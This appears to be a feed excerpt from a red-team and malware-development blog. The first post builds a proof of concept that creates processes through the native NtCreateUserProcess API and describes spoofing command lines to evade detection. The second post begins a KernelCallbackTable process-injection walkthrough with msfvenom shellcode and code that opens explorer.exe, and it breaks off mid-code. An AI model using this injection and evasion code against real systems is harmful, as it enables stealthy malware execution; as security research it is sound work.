#define PS_ATTRIBUTE_HANDLE_LIST PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_GROUP_AFFINITY PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_PREFERRED_NODE PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IDEAL_PROCESSOR PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_UMS_THREAD PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_MITIGATION_OPTIONS PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_SECURE_PROCESS PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHPE PsAttributeValue(PsAttributeChpe, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_MITIGATION_AUDIT_OPTIONS PsAttributeValue(PsAttributeMitigationAuditOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_MACHINE_TYPE PsAttributeValue(PsAttributeMachineType, FALSE, TRUE, TRUE)
</span></code></pre></div></div>

<p><strong>Table 3-7: Process Attributes</strong> of <a href="https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188">“Windows Internals, Part 1 (7th Edition)”</a> presents a nice table on which “native attribute” corresponds to its Win32 equivalent.</p>

<p>Going back to <code class="language-plaintext highlighter-rouge">AttributeList</code>, I initialize this parameter with the following code:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">));</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">TotalLength</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">);</span>

<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attribute</span> <span class="o">=</span> <span class="n">PS_ATTRIBUTE_IMAGE_NAME</span><span class="p">;</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Size</span> <span class="o">=</span> <span class="n">NtImagePath</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Value</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">NtImagePath</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
</code></pre></div></div>

<p>Here, the attribute <code class="language-plaintext highlighter-rouge">PS_ATTRIBUTE_IMAGE_NAME</code> specifies the name of the process to be created, and the <code class="language-plaintext highlighter-rouge">NtImagePath</code> variable holds the path of the image/binary from which the process will be created.</p>

<p>So here’s what the code for <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> would look like:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NtCreateUserProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CreateInfo</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="rtlcreateprocessparametersex"><code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code></h3>

<p>If you have observed, <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code> does not accept any argument that contains the path to the process to be created. This is where <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code> comes into action. As the name suggests, its purpose is to populate the structure that will hold the parameters of the process to be created. This undocumented (but not native) function has the following syntax.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span>
<span class="n">NTAPI</span>
<span class="nf">RtlCreateProcessParametersEx</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PRTL_USER_PROCESS_PARAMETERS</span><span class="o">*</span> <span class="n">pProcessParameters</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">PUNICODE_STRING</span> <span class="n">ImagePathName</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DllPath</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">CurrentDirectory</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">CommandLine</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PVOID</span> <span class="n">Environment</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">WindowTitle</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DesktopInfo</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">ShellInfo</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PUNICODE_STRING</span> <span class="n">RuntimeData</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG</span> <span class="n">Flags</span>
<span class="p">);</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">pProcessParameters</code> points to the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure, which will hold the process parameter information as a result of executing <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code>. Any information stored in the structure is then used as an input to <code class="language-plaintext highlighter-rouge">NtCreateProcess()</code>. MSDN has poor and very limited <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters">documentation</a> of the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure so I recommend the <a href="https://github.com/processhacker/processhacker/blob/3e9c0243cc277769cce903e15690de51fed95f7b/phnt/include/ntrtl.h#L2611">structure</a> provided by <strong>Process Hacker</strong>.</p>

<p>The second parameter <code class="language-plaintext highlighter-rouge">ImagePathName</code> holds the full path (in NT path format) of the image/binary from which the process will be created. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">UNICODE_STRING</span> <span class="n">NtImagePath</span><span class="p">;</span>
<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">??</span><span class="se">\\</span><span class="s">C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">calc.exe"</span><span class="p">);</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">RtlInitUnicodeString()</code> function, which has the following syntax, is necessary to initialize the <code class="language-plaintext highlighter-rouge">UNICODE_STRING</code> structure.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span> <span class="nf">NTAPIRtlInitUnicodeString</span><span class="p">(</span>
    <span class="n">_Out_</span> <span class="n">PUNICODE_STRING</span> <span class="n">DestinationString</span><span class="p">,</span>
    <span class="n">_In_opt_</span> <span class="n">PWSTR</span> <span class="n">SourceString</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The initialization of the <code class="language-plaintext highlighter-rouge">UNICODE_STRING</code> structure is done by:</p>
<ul>
  <li>Setting the <code class="language-plaintext highlighter-rouge">Length</code> and <code class="language-plaintext highlighter-rouge">MaximumLength</code> members to the length of the <code class="language-plaintext highlighter-rouge">SourceString</code></li>
  <li>Setting the <code class="language-plaintext highlighter-rouge">Buffer</code> member to the address of the string passed in <code class="language-plaintext highlighter-rouge">SourceString</code>
    <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
  <span class="n">USHORT</span> <span class="n">Length</span><span class="p">;</span>
  <span class="n">USHORT</span> <span class="n">MaximumLength</span><span class="p">;</span>
  <span class="n">PWSTR</span> <span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">UNICODE_STRING</span><span class="p">,</span> <span class="o">*</span> <span class="n">PUNICODE_STRING</span><span class="p">;</span>
</code></pre></div>    </div>
    <p>The other arguments (<code class="language-plaintext highlighter-rouge">DllPath</code>, <code class="language-plaintext highlighter-rouge">CurrentDirectory</code>, <code class="language-plaintext highlighter-rouge">CommandLine</code>, <code class="language-plaintext highlighter-rouge">Environment</code>, <code class="language-plaintext highlighter-rouge">WindowTitle</code>, <code class="language-plaintext highlighter-rouge">DesktopInfo</code>, <code class="language-plaintext highlighter-rouge">ShellInfo</code>, <code class="language-plaintext highlighter-rouge">RuntimeData</code>) are optional. For our goal, we can simply set them all to <code class="language-plaintext highlighter-rouge">NULL</code>.</p>
  </li>
</ul>

<p>A scenario in which these parameters can be useful is when “blending in” to help avoid detections. As an example, if we set <code class="language-plaintext highlighter-rouge">CommandLine</code> to <code class="language-plaintext highlighter-rouge">NULL</code>, the value that will be set upon process creation is the same with what’s passed in <code class="language-plaintext highlighter-rouge">ImagePathName</code>.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/null-commandline.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/null-commandline.png" alt="NULL CommandLine" /></a></p>

<p>If we want to mimic/spoof the actual command line when <code class="language-plaintext highlighter-rouge">C:\Windows\System32\RuntimeBroker.exe</code> gets created normally, we can do it using the following code:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">UNICODE_STRING</span> <span class="n">CommandLine</span><span class="p">;</span>
<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">CommandLine</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"\C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">RuntimeBroker.exe -Embedding"</span><span class="p">);</span>
</code></pre></div></div>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/spoofed-commandline.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/spoofed-commandline.png" alt="Spoofed CommandLine" /></a></p>

<p>The last parameter (<code class="language-plaintext highlighter-rouge">Flags</code>) is used to normalize the parameters by setting the value <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</code>. When a process is created, some inputs are not even fully initialized yet. If this happens, there’s a chance wherein the memories being accessed are just relative offsets of the structure describing the process and not the actual memory addresses.</p>

<blockquote>
  <p><em>If you’re going to use <code class="language-plaintext highlighter-rouge">RtlCreateProcessParameters()</code>, which is the non-extended version, a call to <code class="language-plaintext highlighter-rouge">RtlNormalizeProcessParameters()</code> should be made to normalize the parameters.</em></p>
</blockquote>

<p>So here’s what the code for <code class="language-plaintext highlighter-rouge">RtlCreateProcessParametersEx()</code> I ended up with:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RtlCreateProcessParametersEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="cleanup-code">Cleanup Code</h3>

<p>As a cleanup, we can use <code class="language-plaintext highlighter-rouge">RtlFreeHeap()</code> to free the memory that was allocated by <code class="language-plaintext highlighter-rouge">RtlAllocateHeap()</code>, and <code class="language-plaintext highlighter-rouge">RtlDestroyProcessParameters()</code> to deallocate the process parameters stored in the <code class="language-plaintext highlighter-rouge">RTL_USER_PROCESS_PARAMETERS</code> structure.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RtlFreeHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
<span class="n">RtlDestroyProcessParameters</span><span class="p">(</span><span class="n">ProcessParameters</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="the-header-file">The Header File</h3>

<p>Aside from developing the code, another challenge working with native APIs is finding the right structures and definitions to use. I tried to manually create the header file by scouring the Internet and compiling what I have found until every structure and definition that I needed are satisfied. However, it cost me some headaches so I just gave up.</p>

<p>As you’re already aware, I keep on referencing the <a href="https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h">ntpsapi.h</a> header file from <strong>Process Hacker</strong>. However, it does not contain every structure and definition that I needed. Even the whole <a href="https://github.com/processhacker/phnt">phnt</a> native API header files caused an error during compilation due to missing structures.</p>

<p>After a ton of searches, I ended up with the <a href="https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h">ntdll.h</a> header file provided by <a href="https://github.com/x64dbg/TitanEngine">x64dbg/TitanEngine</a>. After including this header in my code, I’m relieved that it did not cause any compilation error.</p>

<p>While it contains everything I need for my “minimal” PoC, there are still some missing definitions that I found. For example, it only has the following <a href="https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h#L1540">flags for process creation</a> compared to what <strong>Process Hacker</strong> has (listed above):</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PROCESS_CREATE_FLAGS_BREAKAWAY              0x00000001
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT       0x00000002
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES        0x00000004
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008
#define PROCESS_CREATE_FLAGS_LARGE_PAGES            0x00000010
</span>
<span class="c1">// Only usable with NtCreateUserProcess (Vista+):</span>
<span class="cp">#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL  0x00000020
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS      0x00000040 // Only allowed if the calling process is itself protected
#define PROCESS_CREATE_FLAGS_CREATE_SESSION         0x00000080
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT    0x00000100
</span></code></pre></div></div>

<h3 id="the-minimal-code">The Minimal Code</h3>

<p>After all the headaches and struggles, here’s the “minimal” working PoC that I came up with:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"ntdll.h"</span><span class="cp">
#pragma comment(lib, "ntdll")
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// Path to the image file from which the process will be created</span>
	<span class="n">UNICODE_STRING</span> <span class="n">NtImagePath</span><span class="p">;</span>
	<span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="p">(</span><span class="n">PWSTR</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">??</span><span class="se">\\</span><span class="s">C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">calc.exe"</span><span class="p">);</span>

	<span class="c1">// Create the process parameters</span>
	<span class="n">PRTL_USER_PROCESS_PARAMETERS</span> <span class="n">ProcessParameters</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">RtlCreateProcessParametersEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">NtImagePath</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">RTL_USER_PROCESS_PARAMETERS_NORMALIZED</span><span class="p">);</span>

	<span class="c1">// Initialize the PS_CREATE_INFO structure</span>
	<span class="n">PS_CREATE_INFO</span> <span class="n">CreateInfo</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
	<span class="n">CreateInfo</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CreateInfo</span><span class="p">);</span>
	<span class="n">CreateInfo</span><span class="p">.</span><span class="n">State</span> <span class="o">=</span> <span class="n">PsCreateInitialState</span><span class="p">;</span>

	<span class="c1">// Initialize the PS_ATTRIBUTE_LIST structure</span>
	<span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="o">=</span> <span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="o">*</span><span class="p">)</span><span class="n">RtlAllocateHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">));</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">TotalLength</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE_LIST</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PS_ATTRIBUTE</span><span class="p">);</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attribute</span> <span class="o">=</span> <span class="n">PS_ATTRIBUTE_IMAGE_NAME</span><span class="p">;</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Size</span> <span class="o">=</span> <span class="n">NtImagePath</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
	<span class="n">AttributeList</span><span class="o">-&gt;</span><span class="n">Attributes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Value</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">NtImagePath</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>

	<span class="c1">// Create the process</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">hThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">NtCreateUserProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">ProcessParameters</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CreateInfo</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>

	<span class="c1">// Clean up</span>
	<span class="n">RtlFreeHeap</span><span class="p">(</span><span class="n">RtlProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">AttributeList</span><span class="p">);</span>
	<span class="n">RtlDestroyProcessParameters</span><span class="p">(</span><span class="n">ProcessParameters</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here’s a demo of launching <code class="language-plaintext highlighter-rouge">C:\Windows\System32\calc.exe</code> using the above code.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/execution.gif"><img src="/static/img/2022-05-10-ntcreateuserprocess/execution.gif" alt="Execution" /></a></p>

<p>The full project can be found <a href="https://github.com/capt-meelo/NtCreateUserProcess">here</a>.</p>

<h3 id="conclusion">Conclusion</h3>

<p>That’s it for this post! Again, I’m not an expert in Windows Internals so I’m happy to hear some corrections and additional information.</p>

<p>Before I end this, if you want to know the detailed and step-by-step procedure on how a process gets created, I suggest reading the <strong>Flow of CreateProcess</strong> section in <a href="https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188">“Windows Internals, Part 1 (7th Edition)”</a>.</p>

<p>A summary of what’s in the book could also be read in this 2-part series:</p>
<ul>
  <li><a href="https://medium.com/@Achilles8284/the-birth-of-a-process-part-1-bfb4fdac070e">The Birth of a Process Part-1</a></li>
  <li><a href="https://medium.com/@Achilles8284/the-birth-of-a-process-part-2-97c6fb9c42a2">The Birth of a Process Part-2</a></li>
</ul>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Here's my journey on how I developed a 'minimal' PoC to make NtCreateUserProcess work.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Adventures with KernelCallbackTable Injection</title><link href="https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html" rel="alternate" type="text/html" title="Adventures with KernelCallbackTable Injection" /><published>2022-04-21T00:00:00+00:00</published><updated>2022-04-21T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html"><![CDATA[<p>Lately, I came across with <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> which could be abused to inject shellcode in a remote process. This method of process injection was used by <a href="https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/">FinFisher/FinSpy</a> and <a href="https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/">Lazarus</a>.</p>

<p>This post walks through the journey I took and the hurdles I encountered to make process injection via <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> work according to what I wanted.</p>

<h2 id="the-problems">The Problems</h2>

<p>When I Googled about this technique, the very first result that I got was none other than the <a href="https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/">post</a> written by <a href="https://twitter.com/modexpblog">modexpblog</a>. So for this experiment, I used the <a href="https://github.com/odzhan/injection/blob/master/kct/kct.c">code</a> he provided as my basis and slightly modified it.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"struct.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">payloadSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

	<span class="c1">// Find a window for explorer.exe</span>
	<span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Shell_TrayWnd"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Window Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hWindow</span><span class="p">);</span>

	<span class="c1">// Obtain the process pid and open it</span>
	<span class="n">DWORD</span> <span class="n">pid</span><span class="p">;</span>
	<span class="n">GetWindowThreadProcessId</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process ID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="c1">// Read PEB and KernelCallBackTable addresses</span>
	<span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">pbi</span><span class="p">;</span>
